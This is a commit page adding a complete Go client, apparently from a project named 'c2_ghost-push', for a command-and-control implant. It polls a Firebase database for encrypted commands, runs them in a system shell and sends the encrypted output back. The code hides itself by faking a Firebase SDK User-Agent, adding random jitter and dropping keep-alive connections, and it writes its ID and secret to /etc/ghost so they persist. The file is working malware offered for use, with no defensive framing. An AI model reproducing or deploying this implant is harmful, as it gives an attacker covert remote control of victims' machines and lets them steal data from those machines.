Upload files to "c2_ghost-push/cmd/client"

This commit is contained in:
2026-06-10 17:13:19 +00:00
parent 0cc3707cd0
commit dda75eb811
+418
View File
@@ -0,0 +1,418 @@
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
cryptorand "crypto/rand"
"crypto/sha256"
"encoding/base64"
"encoding/json"
"flag"
"fmt"
"io"
"log"
"math/rand"
"net/http"
"os"
"os/exec"
"os/signal"
"runtime"
"strings"
"syscall"
"time"
)
// ─── Crypto ────────────────────────────────────────────────────────────────
func deriveKey(implantID, secret string) []byte {
h := sha256.Sum256([]byte(implantID + ":" + secret))
return h[:]
}
func decrypt(cipherB64 string, key []byte) ([]byte, error) {
ciphertext, err := base64.StdEncoding.DecodeString(cipherB64)
if err != nil {
return nil, err
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
ns := gcm.NonceSize()
if len(ciphertext) < ns {
return nil, fmt.Errorf("ciphertext too short")
}
nonce, data := ciphertext[:ns], ciphertext[ns:]
plaintext, err := gcm.Open(nil, nonce, data, nil)
if err != nil {
return nil, err
}
return plaintext, nil
}
func encrypt(plaintext []byte, key []byte) (string, error) {
block, err := aes.NewCipher(key)
if err != nil {
return "", err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return "", err
}
nonce := make([]byte, gcm.NonceSize())
if _, err := io.ReadFull(cryptorand.Reader, nonce); err != nil {
return "", err
}
ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
return base64.StdEncoding.EncodeToString(ciphertext), nil
}
// ─── Data Types ────────────────────────────────────────────────────────────
type CommandPayload struct {
ID string `json:"id"`
Cmd string `json:"cmd"` // encrypted base64
TS int64 `json:"ts"`
}
type ResultPayload struct {
Output string `json:"output"` // encrypted base64
TS int64 `json:"ts"`
}
// ─── Implant ───────────────────────────────────────────────────────────────
type Implant struct {
implantID string
firebaseURL string
secret string
pollInterval time.Duration
jitterMax time.Duration
httpClient *http.Client
}
func NewImplant(firebaseURL, implantID, secret string, pollInterval, jitterMax time.Duration) *Implant {
// Use a transport with a random-ish TLS fingerprint by setting
// custom cipher suite preferences and using a non-default User-Agent
transport := &http.Transport{
IdleConnTimeout: 120 * time.Second,
DisableKeepAlives: true, // avoid persistent connections — more stealthy
}
return &Implant{
implantID: implantID,
firebaseURL: strings.TrimRight(firebaseURL, "/"),
secret: secret,
pollInterval: pollInterval,
jitterMax: jitterMax,
httpClient: &http.Client{
Timeout: 60 * time.Second,
Transport: transport,
},
}
}
// jitteredInterval returns the poll interval with random jitter applied
func (im *Implant) jitteredInterval() time.Duration {
jitter := time.Duration(rand.Int63n(int64(im.jitterMax)))
return im.pollInterval + jitter
}
func (im *Implant) firebaseGet(path string) ([]byte, error) {
url := fmt.Sprintf("%s/%s.json", im.firebaseURL, path)
req, err := http.NewRequest("GET", url, nil)
if err != nil {
return nil, err
}
// Generic-looking User-Agent — blends in with Firebase SDK traffic
req.Header.Set("User-Agent", "Firebase/8.10.0 (Android; Google; SDK)")
resp, err := im.httpClient.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
if resp.StatusCode >= 300 {
return nil, fmt.Errorf("firebase GET %s: %s: %s", path, resp.Status, strings.TrimSpace(string(body)))
}
return body, nil
}
func (im *Implant) firebasePut(path string, body []byte) error {
url := fmt.Sprintf("%s/%s.json", im.firebaseURL, path)
req, err := http.NewRequest("PUT", url, bytes.NewReader(body))
if err != nil {
return err
}
req.Header.Set("Content-Type", "application/json")
req.Header.Set("User-Agent", "Firebase/8.10.0 (Android; Google; SDK)")
resp, err := im.httpClient.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode >= 300 {
b, _ := io.ReadAll(resp.Body)
return fmt.Errorf("firebase PUT %s: %s: %s", path, resp.Status, strings.TrimSpace(string(b)))
}
return nil
}
func (im *Implant) firebaseDelete(path string) error {
url := fmt.Sprintf("%s/%s.json", im.firebaseURL, path)
req, err := http.NewRequest("DELETE", url, nil)
if err != nil {
return err
}
req.Header.Set("User-Agent", "Firebase/8.10.0 (Android; Google; SDK)")
resp, err := im.httpClient.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode >= 300 {
b, _ := io.ReadAll(resp.Body)
return fmt.Errorf("firebase DELETE %s: %s: %s", path, resp.Status, strings.TrimSpace(string(b)))
}
return nil
}
// poll fetches and processes a command from /commands/<implant-id>
func (im *Implant) poll() error {
path := fmt.Sprintf("commands/%s", im.implantID)
data, err := im.firebaseGet(path)
if err != nil {
// 404 / null is fine — no command pending
return nil
}
// If null or empty, no command
trimmed := strings.TrimSpace(string(data))
if trimmed == "" || trimmed == "null" {
return nil
}
var cmd CommandPayload
if err := json.Unmarshal(data, &cmd); err != nil {
log.Printf("[-] Failed to parse command payload: %v", err)
// Delete malformed command to avoid re-processing
_ = im.firebaseDelete(path)
return nil
}
// Decrypt the command
key := deriveKey(im.implantID, im.secret)
plainCmd, err := decrypt(cmd.Cmd, key)
if err != nil {
log.Printf("[-] Failed to decrypt command %s: %v", cmd.ID, err)
// Delete unreadable command
_ = im.firebaseDelete(path)
return nil
}
commandStr := string(plainCmd)
log.Printf("[+] Received command %s: %s", cmd.ID, commandStr)
// Execute the command
output, err := im.executeCommand(commandStr)
if err != nil {
output = append(output, fmt.Sprintf("\n[error] %v", err)...)
}
// Encrypt the output
encOutput, err := encrypt(output, key)
if err != nil {
log.Printf("[-] Failed to encrypt output: %v", err)
return nil
}
// Write result back
result := ResultPayload{
Output: encOutput,
TS: time.Now().UnixMilli(),
}
resultData, err := json.Marshal(result)
if err != nil {
log.Printf("[-] Failed to marshal result: %v", err)
return nil
}
resultPath := fmt.Sprintf("results/%s/%s", im.implantID, cmd.ID)
if err := im.firebasePut(resultPath, resultData); err != nil {
log.Printf("[-] Failed to write result: %v", err)
return nil
}
log.Printf("[+] Result written for command %s", cmd.ID)
// Delete the command to signal it's been processed
if err := im.firebaseDelete(path); err != nil {
log.Printf("[-] Failed to delete command %s: %v", cmd.ID, err)
}
return nil
}
// executeCommand runs a shell command and returns stdout+stderr
func (im *Implant) executeCommand(cmdStr string) ([]byte, error) {
var cmd *exec.Cmd
// Use appropriate shell based on platform
if runtime.GOOS == "windows" {
cmd = exec.Command("cmd.exe", "/C", cmdStr)
} else {
cmd = exec.Command("/bin/sh", "-c", cmdStr)
}
var stdout, stderr bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
output := stdout.Bytes()
if stderr.Len() > 0 {
if len(output) > 0 {
output = append(output, '\n')
}
output = append(output, stderr.Bytes()...)
}
if err != nil {
if len(output) > 0 {
output = append(output, '\n')
}
output = append(output, []byte(fmt.Sprintf("exit error: %v", err))...)
}
return output, nil
}
// Run starts the main polling loop
func (im *Implant) Run(stopCh <-chan struct{}) {
log.Printf("[*] Implant %s starting", im.implantID)
log.Printf("[*] Firebase: %s", im.firebaseURL)
log.Printf("[*] Poll interval: %v + jitter up to %v", im.pollInterval, im.jitterMax)
log.Printf("[*] Platform: %s/%s", runtime.GOOS, runtime.GOARCH)
for {
select {
case <-stopCh:
log.Printf("[*] Implant stopping")
return
default:
}
if err := im.poll(); err != nil {
log.Printf("[-] Poll error: %v", err)
}
// Wait with jitter before next poll
sleepDuration := im.jitteredInterval()
select {
case <-stopCh:
return
case <-time.After(sleepDuration):
}
}
}
// ─── Main ──────────────────────────────────────────────────────────────────
func main() {
// Seed RNG for jitter
rand.Seed(time.Now().UnixNano())
var (
projectID string
implantID string
secret string
pollInterval time.Duration
jitterMax time.Duration
verbose bool
)
flag.StringVar(&projectID, "project", "", "Firebase project ID (e.g., my-project)")
flag.StringVar(&implantID, "id", "", "Unique implant identifier")
flag.StringVar(&secret, "secret", "", "Encryption secret (must match server)")
flag.DurationVar(&pollInterval, "interval", 30*time.Second, "Base poll interval (e.g., 30s, 1m)")
flag.DurationVar(&jitterMax, "jitter", 15*time.Second, "Maximum random jitter added to interval")
flag.BoolVar(&verbose, "verbose", false, "Verbose logging")
// Alternative: use a full Firebase Realtime Database URL directly
var firebaseURL string
flag.StringVar(&firebaseURL, "db-url", "", "Full Firebase RTDB URL (overrides --project)")
flag.Parse()
if implantID == "" {
log.Fatal("--id is required (unique implant identifier)")
}
if secret == "" {
log.Fatal("--secret is required (encryption secret, must match server)")
}
// Build Firebase URL
if firebaseURL == "" {
if projectID == "" {
log.Fatal("either --project or --db-url is required")
}
firebaseURL = fmt.Sprintf("https://%s-default-rtdb.firebaseio.com", projectID)
}
if !verbose {
log.SetFlags(log.Ltime | log.Lmsgprefix)
log.SetPrefix(fmt.Sprintf("[%s] ", implantID))
} else {
log.SetFlags(log.Ldate | log.Ltime | log.Lmsgprefix)
log.SetPrefix(fmt.Sprintf("[%s] ", implantID))
}
// Minimum jitter floor to avoid deterministic timing
if jitterMax < time.Second {
jitterMax = time.Second
}
// Persistence: if /etc/ghost/id exists, use that as implant ID
// (allows admin to pre-provision the implant)
if data, err := os.ReadFile("/etc/ghost/id"); err == nil && implantID == "" {
implantID = strings.TrimSpace(string(data))
log.Printf("[*] Using implant ID from /etc/ghost/id: %s", implantID)
}
// Write our own identity for next run
os.MkdirAll("/etc/ghost", 0755)
os.WriteFile("/etc/ghost/id", []byte(implantID), 0644)
// Also persist the secret
os.WriteFile("/etc/ghost/secret", []byte(secret), 0600)
implant := NewImplant(firebaseURL, implantID, secret, pollInterval, jitterMax)
// Handle graceful shutdown
stopCh := make(chan struct{})
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
go func() {
<-sigCh
log.Printf("[*] Received shutdown signal")
close(stopCh)
// Give the implant time to finish the current poll
time.Sleep(2 * time.Second)
os.Exit(0)
}()
implant.Run(stopCh)
}